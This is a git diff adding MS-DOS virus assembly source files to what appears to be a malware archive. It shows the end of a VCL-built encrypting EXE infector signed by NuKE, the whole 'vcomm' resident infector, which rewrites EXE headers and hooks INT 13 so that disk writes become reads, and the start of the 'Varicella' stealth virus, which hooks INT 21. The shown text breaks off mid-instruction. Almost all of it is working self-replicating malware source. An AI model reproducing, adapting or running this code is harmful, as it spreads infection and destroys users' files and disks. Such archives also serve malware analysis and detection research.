Mask for all .EXE files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: mov si,offset path_string ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [path_ad],di ; Save the PATH address for later + mov word ptr [path_ad + 2],es ; Save PATH's segment for later + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [path_ad] ; DS:SI points to the PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[path_ad],si; Store SI in the path address + ret ; Return to caller +found_subdir endp + + db 0FEh,0C9h,04Bh,0DFh,06Eh + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 07Dh,0F9h,074h,000h,09Bh + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes? + jne infection_done ; If it is then exit + + cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM? + je infection_done ; If it is then skip it + + cmp word ptr [si + 01Ah],(finish - start) + jb infection_done ; If it's too small then exit + + mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,4 ; CX holds bytes to read (4) + mov dx,offset buffer ; DX points to buffer + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + push si ; Save DTA address before compare + mov si,offset buffer ; SI points to comparison buffer + mov di,offset flag ; DI points to virus flag + mov cx,4 ; CX holds number of bytes (4) + rep cmpsb ; Compare the first four bytes + pop si ; Restore DTA address + je infection_done ; If equal then exit + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +buffer db 4 dup (?) ; Buffer to hold test data +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + +data00 db "I am your VIRAL MESSIAH",13,10 + db "Follow me and be redeemed",13,10 + db "Your data doth exist no more",13,10 + db "The FAT holds ashes of your dreams",13,10,0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "[Viral Messiah]",0 + db "Nowhere Man, [NuKE] '92",0 + +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 8],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 7],1 ; Change all SIs to DIs + xor word ptr [si + 10],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.vcomm.asm b/MSDOS/Virus.MSDOS.Unknown.vcomm.asm new file mode 100644 index 00000000..9a60e269 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vcomm.asm @@ -0,0 +1,724 @@ +;--------------------------------------------------------------------; +; ; +; EXE virus, with resident part ; +; ; +; ---- infecting program ---- ; +; ; +;--------------------------------------------------------------------; + +;--------------------------------------------------------------------; +; ; +; WARNING : it's definitely NOT safe to assemble and execute ; +; this code. If anybody has to, I highly reccomend using ; +; a diskette and debugger. ; +; ; +;--------------------------------------------------------------------; + +;********************************************************************* + +;--------------------------------------------------------------------; +; ; +; The EXE virus concept is as follows: ; +; ; +; First, original Disk Transfer Address is preserved to avoid ; +; changing command-line text. Also initial values of CS, IP, SS, SP ; +; DS and ES are saved (to be restored on exit from virus code). ; +; Virus is to be appended to original code and, of course, has ; +; to be relocated before it's executed. Thus, first we look for ; +; an EXE file. Then we have to know if this is in fact an EXE ; +; (checking for magic 'MZ' signature) and if there is any free space ; +; in relocation table. This is checked by substracting relocation ; +; table end (i.e. sum of table start and number of relocation items, ; +; multiplied by table entry size) from EXE header size. ; +; Smart virus shouldn't infect a file that's already infected. ; +; So first 4 bytes of code to be executed is compared against ; +; virus code. If they match one another, no infection takes place. ; +; Having found suitable file, we compute its code end and append ; +; virus at the end of code, writing alignment to last 512-bytes page ; +; boundary if necessary. Original start address is preserved inside ; +; virus, and CS:IP value in EXE header gets changed, so that virus ; +; code would be executed first. Number of pages gets changed, ; +; together with Last Page Size and Number Of Relocation Items. ; +; New relocation item address is appended to relocation table, ; +; pointing to the segment of the far jump in virus (this is the jump ; +; virus uses to return to original code). ; +; Upon returning from virus, all saved registers and DTA are ; +; restored to reestablish environment state as if no virus existed. ; +; ; +; Virus also installs resident part, if it is not already present. ; +; This part's job is to replace all disk 'writes' with corresponding ; +; 'reads'. It's rather unharmful, but can easily be replaced with ; +; more dangerous one (if somebody is really keen to be called ...). ; +; Instalation can be removed with equal ease, as well. ; +; ; +; The real trouble with EXEs is that DOS pays a little (if any) ; +; attention to Last Page Size. Therefore EXE files ofen have this ; +; zeroed, even if they have some code on the last page. Writing to ; +; last page can cause system crash while infected file is being ; +; executed. To solve the problem, one should first test if EXE file ; +; really ends as the header contents say and move to last page end ; +; instead of appending any bytes, if possible. ; +; ; +; Another problem is infecting EXEs containg debug info. ; +; It comes in various formats, and often contains vital informations ; +; placed behind code. This info gets destroyed when file becomes ; +; infected. I see no solution to this problem, so far. ; +; ; +;--------------------------------------------------------------------; + +;********************************************************************; + +;--------------------------------------------------------------------; +; ; +; SEGMENT dummy ; +; ; +; Raison d'etre of this segment is to force assembling of ; +; the JMP FAR after the execution of virus code. ; +; ; +; This segment serves also to make it possible for the infecting ; +; program to return to DOS. ; +; ; +;--------------------------------------------------------------------; + + + dummy segment 'dummy' + + assume cs: dummy + + d_end label far ; this is the point virus jumps to + ; after executing itself + mov ah, 4Ch + int 21h ; DOS EXIT function + + dummy ends + +;--------------------------------------------------------------------; +; ; +; SEGMENT code ; +; ; +; Code for virus (including its resident part). ; +; ; +; Executed from label start:. Exits via dummy:d_end. ; +; ; +;--------------------------------------------------------------------; + + code segment 'code' + + public start, jump, old_IP, old_CS, old_DTA, + public next, ok, exit, header, DTA, file_name, old_SS, old_SP, aux + public last_page, page_count, item_count, header_size, table_start + public header_IP, header_CS, header_SS, header_SP, aux_CS, aux_IP + public not_ok, time, date, attributes, new_name, found_name + public restore_and_close, dot, seek_dot, next_letter, install_flag + public next_lttr, EXE_sign, int_CS, int_IP, virus_length, set_ES + public resident, resident_size, l1, call_int, install, set_DS + + assume cs : code, ds : code + +;--------------------------------------------------------------------; +; ; +; Here are symbolic names for memory locations ; +; ; +;--------------------------------------------------------------------; + +; First go names for EXE header contents + + EXE_sign equ word ptr [header] + last_page equ word ptr [header + 2] + page_count equ word ptr [header + 4] + item_count equ word ptr [header + 6] + header_size equ word ptr [header + 8] + header_SS equ word ptr [header + 0Eh] + header_SP equ word ptr [header + 10h] + header_IP equ word ptr [header + 14h] + header_CS equ word ptr [header + 16h] + table_start equ word ptr [header + 18h] + +; Now names for address of mother program + + old_IP equ word ptr [jump + 1] + old_CS equ word ptr [jump + 3] + +; Segment to put resident part in, for instance end of 2nd Hercules page + + resident_CS equ 0BFFEh + +; And label for the name of the file found by Find_First and Find_Next + + found_name equ DTA + 1Eh + +; Last is virus length + + virus_length equ offset header + +;------------ Now starts virus code --------------------------------; + +; First original values of SS, SP, ES, DS are preserved, +; and new values for this registers are set + + start: mov cx, ss ; temporarily save SS in CX + mov dx, sp ; and SP in DX + + mov ax, cs ; now AX = CODE + cli ; disable hard ints while changing stack + mov ss, ax ; now SS = CODE + mov sp, 0FFFFh ; and SS points to segment end + sti ; hardware interrupts are OK now + + push ds ; preserve DS on stack + push es ; same with ES + + push cs + pop ds ; set DS to CODE + + mov [old_SS], cx ; now as DS is CODE, we can store + mov [old_SP], dx ; original SS and SP in memory + +; Original DTA is preserved now + + mov ah, 2Fh + int 21h + mov word ptr [old_DTA], bx ; now ES:BX points to DTA + mov word ptr [old_DTA + 2], es ; save its address in memory + +; Call to Get_DTA would have destroyed ES. Now set it + + push ds ; set ES to CODE + pop es + +; And now new DTA is established for virus disk actions + + mov dx, offset DTA ; DS:DX point to new DTA + mov ah, 1Ah + int 21h + +; Store original INT_13 vector for use in resident part + + mov ax, 3513h + int 21h ; DOS Get_Interrupt_Vector function + + mov [int_IP], bx ; now ES:BX holds INT_13 vector + mov [int_CS], es ; store it inside resident part + +; Check if resident part already present + + mov ax, es ; compare can work with AX + + cmp ax, resident_CS ; check if this is resident_CS + jnz install ; no, so install + + cmp bx, 0 ; is offset 0 ? + jnz install ; no, so install + +; Resident part found, do not install + + mov [install_flag], 0 ; signal 'no installing' + + jmp short set_ES ; and omit copying code + +; Now resident part is moved to its place in memory + +install: mov ax, resident_CS + mov es, ax ; ES = segment for resident part + xor di, di ; DI = 0, resident starts from offset 0 + mov si, offset resident ; SI = offset in DS for resident part + mov cx, resident_size ; CX = size of resident part + + cld ; set auto increment + rep movsb ; copy resident part from DS:SI to ES:DI + + mov [install_flag], 1 ; signal 'instal vector' + +; Reestablish destroyed ES to CODE + + set_ES: push ds + pop es + +; Now decode "*.EXE" name pattern. It's coded to disable 'eye-shot' discovery + + mov si, offset file_name ; name pattern starts there + mov cx, 5 ; and is 5 bytes long + +next_letter: inc byte ptr [si] ; decode by incrementing by one + inc si + loop next_letter ; decode all 5 bytes + +; Find an EXE file + + mov dx, offset file_name ; DS:DX points to '*.EXE' + mov cx, 20h ; search for read-only files too + + mov ah, 4Eh ; DOS Find_First function + int 21h ; now DTA gets filled with info + + jnc check ; no carry means file found + ; jump to check if to infect file + + jmp exit ; no EXE file - nothing to do + +; Find next EXE file, if necessary + + next: mov ah, 4Fh ;DOS Find_Next function + int 21h + + jnc check ; see jumps after Find_First + jmp exit ; for explanation + +; Check if file should and can be infected + +; First of all, get file attributes + + check: mov dx, offset found_name ; DS:DX points to found file name + + mov ax, 4300h ; DOS Get_File_Attributes function + int 21h ; attributes returned in CX + + mov [attributes], cx ; preserve them in memory + +; Then change file attributes to 'neutral' + + mov dx, offset found_name ; DS:DX points to found file name + xor cx, cx ; CX = 0 - means no attributes set + + mov ax, 4301h ; DOS Set_File_Attributes function + int 21h ; attributes to be set in CX + +; To avoid being spotted by VIRBLK, rename ????????.EXE to ???????. + + mov si, offset found_name ; DS:DX points to found file name + mov di, offset new_name ; ES:DI points to new name + + cld ; set auto increment + +; Copy old name to new name until dot found + + seek_dot: lodsb ; get character at DS:SI + cmp al, '.' ; check if it is a dot + stosb ; copy it anyway to ES:DI + + jz dot ; dot found, end of copying + + loop seek_dot ; if no dot, copy next character + +; DOS requires ASCIIZ strings, so append a byte of 0 to new name + + dot: xor al, al ; AL = 0 + stosb ; store 0 to byte at ES:DI + +; Now rename can be performed + + mov dx, offset found_name ; DS:DX points to old name + mov di, offset new_name ; ES:DI points to new name + + mov ah, 56h ; DOS Rename_File function + int 21h + +; It is safe to open file now + + mov dx, offset new_name ; DS:DX points to file name + + mov ax, 3D02h ; DOS Open_File_Handle fuction + int 21h ; open file for reading and writing + + jc next ; carry set means for some reason + ; operation failed + ; try to find next file + +; Preserve handle for just open file in BX register + + mov bx, ax ; all DOS calls require handle in BX + +; Now store original file time and date, to be restored on closing the file + + mov ax, 5700h ; DOS Get_File_Time_Date function + int 21h ; time returned in CX, date in DX + + mov [time], cx ; store time in memory + mov [date], dx ; same with date + +; Read EXE header to memory + + mov dx, offset header ; DS:DX = place to read header to + mov cx, 1Ah ; header is 1Ah bytes long + + mov ah, 3Fh ; DOS Read_Handle function + int 21h + +; Check if it is a real EXE, not just EXE-named file + + check_EXE: cmp EXE_sign, 5A4Dh ; first two bytes of header should + ; contain 'MZ' characters + + jne not_ok ; if not, don't proceed with file + +; It is EXE, check if it is already infected +; by comparing code start with itself + +; Compute where code in file starts + + mov ax, [header_CS] ; get start CS for file + add ax, [header_size] ; add header size + + mov cx, 16 ; above were in 16 bytes units + mul cx ; so multiply by 16 + ; DX|AX holds result + + add ax, [header_IP] ; add for IP + adc dx, 0 ; propagate carry if necessasry + +; Now DX|AX holds file offset for code start, move there + + mov cx, dx ; set registers for DOS call + mov dx, ax + + mov ax, 4200h ; DOS Move_File_Ptr function + int 21h ; move relatively to start + +; Read first four bytes of code + + mov dx, offset aux ; DS:DX = place to read code into + mov cx, 4 ; CX = number of bytes to read + + mov ah, 3Fh ; DOS Read_Handle function + int 21h + +; Compare them with itself + + mov di, offset aux ; ES:DI points to code from file + mov si, offset start ; DS:SI points to itself start + mov cx, 2 ; CX = number of words to compare + cld ; set auto increment + + repe cmpsw ; compare while equal + + je not_ok ; equal = infected, don't proceed + +; Check if there is space in relocation table to put one more item + +; Calculate where Relocation_Table ends + + mov ax, [item_count] ; get number of Relocation Items + inc ax ; add for new one + mov cx, 4 ; each one is 4 bytes long + mul cx ; so multiply by 4 + ; DX|AX holds result + + add ax, [table_start] ; add offset of Relocation_Table + adc dx, 0 ; process carry + +; Now DX|AX holds file offset for table end, store it temporarily in DI|SI + + mov di, dx ; preserve Relocation_Table offset + mov si, ax + +; Calculate where code starts (in file) + + mov ax, [header_size] ; get header size for this EXE + mov cx, 10h ; as it is in 16 byte units, + mul cx ; multiply by 16 + ; DX|AX holds result + +; See if there is free space for relocation item + + sub ax, si ; substract Relocation_Table end + sbb dx, di + + jae ok ; Relocation_Table end not less + ; then code start, so there IS room + +; If somehow this file is not to be infected, restore it's original state + + not_ok: call restore_and_close + + jmp next ; nevertheless, try to find infectable one + +; File is to be infected now + +; First adjust file offset for new relocation item + + ok: sub si, 4 ; new item starts 4 bytes + sbb di, 0 ; before Relocation_Table end + +; Then preserve temporarily address of the mother code + + mov ax, [old_CS] ; preserve jump address via AX + mov [aux_CS], ax ; in memory + mov ax, [old_IP] + mov [aux_IP], ax + +; Form inside itself a jump to new mother start + + mov ax, [header_IP] ; store new mother CS:IP as jump + mov [old_IP], ax ; do it via AX + mov ax, [header_CS] + mov [old_CS], ax + +; Calculate last page alignment + + mov cx, [last_page] ; CX = number of bytes in last page + mov ax, 200h ; AX = page size (page is 512 bytes) + + sub ax, cx ; CX = alignment to page boundary + + mov bp, ax ; preserve alignment in BP + +; Calculate new CS:IP values to execute virus instead of mother + + mov ax, [page_count] ; get number of pages in new mother + mov cx, 20h ; multiply by 32 to convert to + mul cx ; 16 bytes units + + sub ax, [header_size] ; decrease by header size + +; Modify header as necessary + + mov [header_CS], ax ; AX holds CS for virus + xor ax, ax ; now zero AX + mov [header_IP], ax ; as IP for virus is 0 + + add [page_count], 2 ; reserve space for virus + + inc [item_count] ; there'll be one more item + + mov [last_page], offset header ; last page will be as long + ; as virus itself + and [last_page], 1FFh ; modulo 512, of course + +; Move to file start + + xor cx, cx ; start means offset 0 + xor dx, dx + + mov ax, 4200h ; DOS Move_File_Ptr function + int 21h ; move relatively to start + +; Write new header + + mov dx, offset header ; DS:DX points to new header + mov cx, 1Ah ; which is still 1A bytes long + + mov ah, 40h ; DOS Write_Handle function + int 21h + +; Move to new Relocation Item position + + mov cx, di ; get stored position from DI|SI + mov dx, si + + mov ax, 4200h ; DOS Move_File_Ptr function + int 21h ; move relatively to start + +; Write new relocation item + + mov [header_IP], offset old_CS ; new Relocation Item offset + ; is jump to new mother code + + mov dx, offset header_IP ; DS:DX = new relocation item + mov cx, 4 ; exactly 4 bytes long + + mov ah, 40h ; DOS Write_Handle function + int 21h + +; Calculate file offset for new mother code end + + mov ax, [header_CS] ; get mother code lenght + add ax, [header_size] ; add header size + mov cx, 10h ; it's in 16 bytes units + mul cx ; so multiply by 16 + + sub ax, bp ; last page is not full + sbb dx, 0 ; so move back appropirately + +; Move file ptr to mother code end + + mov cx, dx ; DX|AX = file offset to code end + mov dx, ax ; set CX|DX for DOS call + + mov ax, 4200h ; DOS Move_File_Ptr function + int 21h ; move relatively to start + +; Write alignement (no matter what, only number is important) + + mov cx, bp ; get alignement amount + + mov ah, 40h ; DOS Write_Handle function + int 21h ; write CX bytes + +; Now prepare to append itself to EXE file + +; First encode EXE name patter anew + + mov si, offset file_name ; DS:SI points to name pattern + mov cx, 5 ; it is 5 characters long + +next_lttr: dec byte ptr [si] ; encode by decrement + inc si + loop next_lttr ; encode all 5 characters + +; All ready, append itself now + + xor dx, dx ; DX = 0, start offset for virus code + mov cx, virus_length ; CX = number of bytes to write + + mov ah, 40h ; DOS Write_Handle function + int 21h + +; No further action involving file will be taken, so restore it's state + + call restore_and_close ; restore date and time, close file + +; Restore jump to this mother code + + mov ax, [aux_CS] ; restore jump addres via AX + mov [old_CS], ax + mov ax, [aux_IP] + mov [old_IP], ax + +; All done with infecting, prepare to execute mother + +; Restore original DTA + + push ds ; preserve DS (now DS = CODE) + + exit: lds dx, old_DTA ; get original DTA address to DS:DX + + mov ah, 1Ah ; DOS Set_DTA function + int 21h + +; Check if install new INT_13 vector + + cmp [install_flag], 0 ; 0 means no installing + + jz set_DS ; omit installing + +; Install resident part + + mov ax, resident_CS ; load CS for resident to DS (via AX) + mov ds, ax + xor dx, dx ; DS:DX = address of resident part + + mov ax, 2513h ; DOS Set_Interrupt_Vector function + int 21h ; set vector for INT_13 + +set_DS: pop ds ; restore DS to CODE + + mov bx, [old_SS] ; BX = original SS + mov cx, [old_SP] ; CX = original SP + + pop es ; restore original DS and ES + pop ds + + cli ; disable hardware interrupts + mov sp, cx ; while restoring original SS:SP + mov ss, bx + sti ; enable hardware interrupts + +; Virus has done all its job, now let mother do its own + + jump: jmp dummy:d_end ; jump to original code + + +;----------- here is the one and only procedure -------------------; + + restore_and_close proc near + +; Restore original file time and date + + mov cx, [time] ; get saved time + mov dx, [date] ; get saved date + + mov ax, 5701h ; DOS Set_File_Time_Date function + int 21h ; time set as CX, date as DX + +; Close file + + mov ah, 3Eh ; DOS Close_File function + int 21h + +; Restore original name + + mov dx, offset new_name ; DS:DX points to new name + mov di, offset found_name ; ES:DI points to original name + + mov ah, 56h ; DOS Rename_File function + int 21h + +; Restore original file attributes + + mov dx, offset found_name ; restore attributes + mov cx, [attributes] + + mov ax, 4301h ; DOS Set_File_Attributes function + int 21h ; attributes set as CX + + ret + + restore_and_close endp + + +;------------ and here go the resident part of the virus -------------; + +resident: pushf ; save flags + + cmp ah, 3 ; is it Disk_Write_1 ? + jnz l1 ; no, check Disk_Write_2 + + mov ah, 2 ; yes, convert to Disk_Read_1 + jmp short call_int ; and exit resident + + l1: cmp ah, 0Bh ; is it Disk_Write_2 ? + jnz call_int ; no, exit resident + + mov ah, 0Ah ; yes, convert to Disk_Read_2 + +call_int: popf ; restore flags + + +; Next 5 bytes form long jump to original INT_13 handler + + db 0EAh ; means JMP FAR + +int_IP dw 0 ; and here the address to jump to +int_CS dw 0 + +resident_size equ $ - resident + +;-------- now data for virus, just encoded file name pattern -------; + + file_name db ')-DWD', 0 + +;-------------------------------------------------------------------; +; ; +; Here VIRUS ends. The rest are purely placeholders ; +; ; +;-------------------------------------------------------------------; + +;*******************************************************************; + + header dw 13 dup (0) + + old_SS dw 0 + old_SP dw 0 + + aux_CS dw 0 + aux_IP dw 0 + + old_DTA dd 0 + + time dw 0 + date dw 0 + + attributes dw 0 + + install_flag db 0 + + new_name db 9 dup (0) + + DTA dw 2Ch dup (0) + + aux dw 2 dup (0) + + code ends + + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vericell.asm b/MSDOS/Virus.MSDOS.Unknown.vericell.asm new file mode 100644 index 00000000..f8ec0fe8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vericell.asm @@ -0,0 +1,764 @@ +;================================================================= +; (c) NuKE Software Development 1991, 1992, 1993 +; +; VARICELLA VIRUS (Size 1483) +; +; By Rock Steady +; +; TASM VARICELL; +; TLINK/T VARICELL; +; +virus_size equ last - init_virus ;virus size (bytes) +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h ;offset in memory + +seg_a segment byte public + assume cs:seg_a,ds:seg_a + + org 100h ;compile to .com + +start: jmp init_virus + +;------------------------------------------------------------------------------- +init_virus: call doit_now ;begin virus + +doit_now: pop bp ;pop call offset + sub bp,offset doit_now ;fix it with pointer + + push ax ;save registers + push ds + push es + + mov ax,0abcdh ;check if virus is + int 13h ;alive in memory + jmp next_code1 ;force jump + +virus_here: jmp exit_com ;error jump exit + +next_code1: cmp bx,0abcdh ;cmp bx if virus alive + jnz install_virus + jmp virus_here ;yes, skip memory part + +install_virus: push bx ;save registers + push cx + push dx + push si + push di + push ds + + xor dx,dx ;0 value to dx + mov ds,dx ;put that in ds + les si,dword ptr ds:[0084h] ;get int21 vector + mov word ptr cs:[int21][bp],si ;save int21 offset + mov word ptr cs:[int21+2][bp],es ;save int21 segment + + les si,dword ptr ds:[0070h] ;get int1c vector + mov word ptr cs:[int1c][bp],si ;save int1c offset + mov word ptr cs:[int1c+2][bp],es ;save int1c segment + + les si,dword ptr ds:[004ch] ;get int13 vector + mov word ptr cs:[int13][bp],si ;save int13 offset + mov word ptr cs:[int13+2][bp],es ;save int13 segment + + pop ds ;DS=PSP (.exe only) + push ds ;save DS + mov ax,ds ;ds=cx + dec ax ;dec cx, cx=mcb + mov es,ax ;es=cx, mcb + mov bx,es:mut1 ;bx=es:0003, mem size + mov dx,virus_size ;dx=virus size (bytes) + mov cl,4 + shr dx,cl ;convert bytes to 16k + add dx,4 ;paragraphs + 1 + mov cx,es ;cx=psp segment + sub bx,dx ;sub virus size from + inc cx ;new mem address + mov es,cx ;new segment + mov ah,4ah ;set the block size + int 21h + + jc exit_mem + mov ah,48h + dec dx ;alloc the mem + mov bx,dx ;bx=# of para blocka + int 21h + + jc exit_mem + dec ax ;new segment add + mov es,ax ;ax=es=mcb + mov cx,8h ;DOS is the owner + mov es:mut2,cx ;put it in mcb + sub ax,0fh + mov di,mut3 ;new offset to go + mov es,ax ;es=segment + mov si,bp ;add delta offset + add si,offset init_virus ;begining of virus + mov cx,virus_size ;our size + push cs ;get the correct + pop ds ;segment in ds + cld ;clear direction to + + repne movsb ;move us + + mov ds,cx ;ds=0000 + cli ;disable ints + mov word ptr ds:[0084h],offset int21_handler ;hook int21 + mov word ptr ds:[0086h],es + mov word ptr ds:[0070h],offset int1c_handler ;hook int1c + mov word ptr ds:[0072h],es + mov word ptr ds:[004ch],offset int13_handler ;hook int13 + mov word ptr ds:[004eh],es + sti ;enable ints + +exit_mem: pop ds ;restore 'em + pop di + pop si + pop dx + pop cx + pop bx + +exit_com: cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file? + je exit_exe_file ;yupe exit exe file + cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file? + je exit_exe_file ;yupe exit exe file + push cs ;fix cs=ds for .com + pop ds + mov bx,offset buffer ;get first 3 bytes + add bx,bp ;fix delta + mov ax,[bx] ;move first 2 bytes + mov word ptr ds:[100h],ax ;put em in the beginning + inc bx ;inc pointer + inc bx + mov al,[bx] ;get last of 3rd byte + mov byte ptr ds:[102h],al ;put that in place + pop es + pop ds + pop word ptr cs:[ax_reg][bp] ;save ax else where + mov ax,100h + push ax ;fake a CALL & RETN + mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal + retn ;link to 100h + +exit_exe_file: mov dx,ds ;get psp=ds seg + add dx,10h ;add 16bytes to seg + pop es + pop ds + pop ax + add word ptr cs:[buffer+22][bp],dx ;fix segments + add dx,word ptr cs:[buffer+14][bp] + cli + mov ss,dx ;restore ss + mov sp,word ptr cs:[buffer+16][bp] ;and sp + sti + jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt. + +ax_reg dd 0 +bp_reg dd 0 +int13 dd 0 +int1c dd 0 +int21 dd 0 +;=============================================================================== +; Int 13h Handler +;=============================================================================== +int13_handler: + cmp ax,0abcdh ;virus test + je int13_test ;yupe + +int13call: jmp dword ptr cs:[int13] ;original int13 + +int13_test: mov bx,ax ;fix + iret +;=============================================================================== +; Int 1Ch Handler +;=============================================================================== +int1c_handler: + iret +;------------------------------------------------------------------------------- +; FCB Dir Stealth Routine (File Find) +;------------------------------------------------------------------------------- +fcb_dir: call calldos21 ;get the fcb block + test al,al ;test for error + jnz fcb_out ;jmp if error + push ax ;save registers + push bx + push cx + push es + mov ah,51h ;get current psp + call calldos21 ;call int21 + + mov es,bx ;es=segment of psp + cmp bx,es:[16h] ;psp of command.com? + jnz fcb_out1 ;no, then jmp + mov bx,dx ;ds:bx=fcb + mov al,[bx] ;1st byte of fcb + push ax ;save it + mov ah,2fh ;get dta + call calldos21 ;es:bx <- dta + + pop ax ;get first byte + inc al ;al=ffh therefor al=ZR + jnz fcb_old ;if != ZR jmp + add bx,7h ;extended fcb here, +7 +fcb_old: mov ax,es:[bx+17h] ;get file time stamp + mov cx,es:[bx+19h] ;get file date stamp + and ax,1fh ;unmask seconds field + and cx,1fh ;unmask day of month + xor ax,cx ;are they equal? + jnz fcb_out1 ;nope, exit then + sub word ptr es:[bx+1dh],virus_size ;sub away virus_size + sbb word ptr es:[bx+1fh],0 ;sub with carry flag + +fcb_out1: pop es ;restore registers + pop cx + pop bx + pop ax +fcb_out: iret ;return control +;------------------------------------------------------------------------------- +; ASCIIZ Dir Stealth Routine (File Find) +;------------------------------------------------------------------------------- +dta_dir: call calldos21 ;get results to dta + jb dta_out ;if error, split + push ax ;save register + push bx + push cx + push es + mov ah,2fh ;get current dta + call calldos21 ;es:bx <- dta + + mov ax,es:[bx+16h] ;get file time stamp + mov cx,es:[bx+18h] ;get file date stamp + and ax,1fh ;unmask seconds field + and cx,1fh ;unmask day of month + xor ax,cx ;are they equal + jnz dta_out1 ;nope, exit then + sub word ptr es:[bx+1ah],virus_size ;sub away virus_size + sbb word ptr es:[bx+1ch],0 ;sub with carry flag + +dta_out1: pop es ;restore registers + pop cx + pop bx + pop ax +dta_out: retf 0002h ;pop 2 words of stack +;=============================================================================== +; Int 21h Handler +;=============================================================================== +int21_handler: + cmp ah,11h ;FCB find first match + je old_dir + cmp ah,12h ;FCB find next match + je old_dir + cmp ah,4eh ;Find first match + je new_dir + cmp ah,4fh ;Find next match + je new_dir + cmp ah,3dh ;Opening a file + je file_open + cmp ah,6ch ;Ext_opening a file + je file_ext_open + cmp ah,3eh ;closing a file + je file_close + cmp ah,4bh ;Execution of a file + je file_execute + +int21call: jmp dword ptr cs:[int21] ;original int21 + +old_dir: jmp fcb_dir ;fcb file find + +new_dir: jmp dta_dir ;new asciiz file find + +file_open: jmp open_file ;disinfect opening file + +file_ext_open: jmp open_ext_file ;disinfect opening file + +file_close: jmp close_file ;infect closing file + +file_execute: call check_extension ;check for ok ext + cmp byte ptr cs:[com_ext],1 ;is it a com? + je exec_disinfect ;yupe disinfect it + cmp byte ptr cs:[exe_ext],1 ;is it a exe? + je exec_disinfect ;yupe disinfect it + jmp SHORT int21call + +exec_disinfect: call exec_disinfect1 ;Disinfect file + + mov word ptr cs:[ax_reg],dx + pushf ;fake an int + call dword 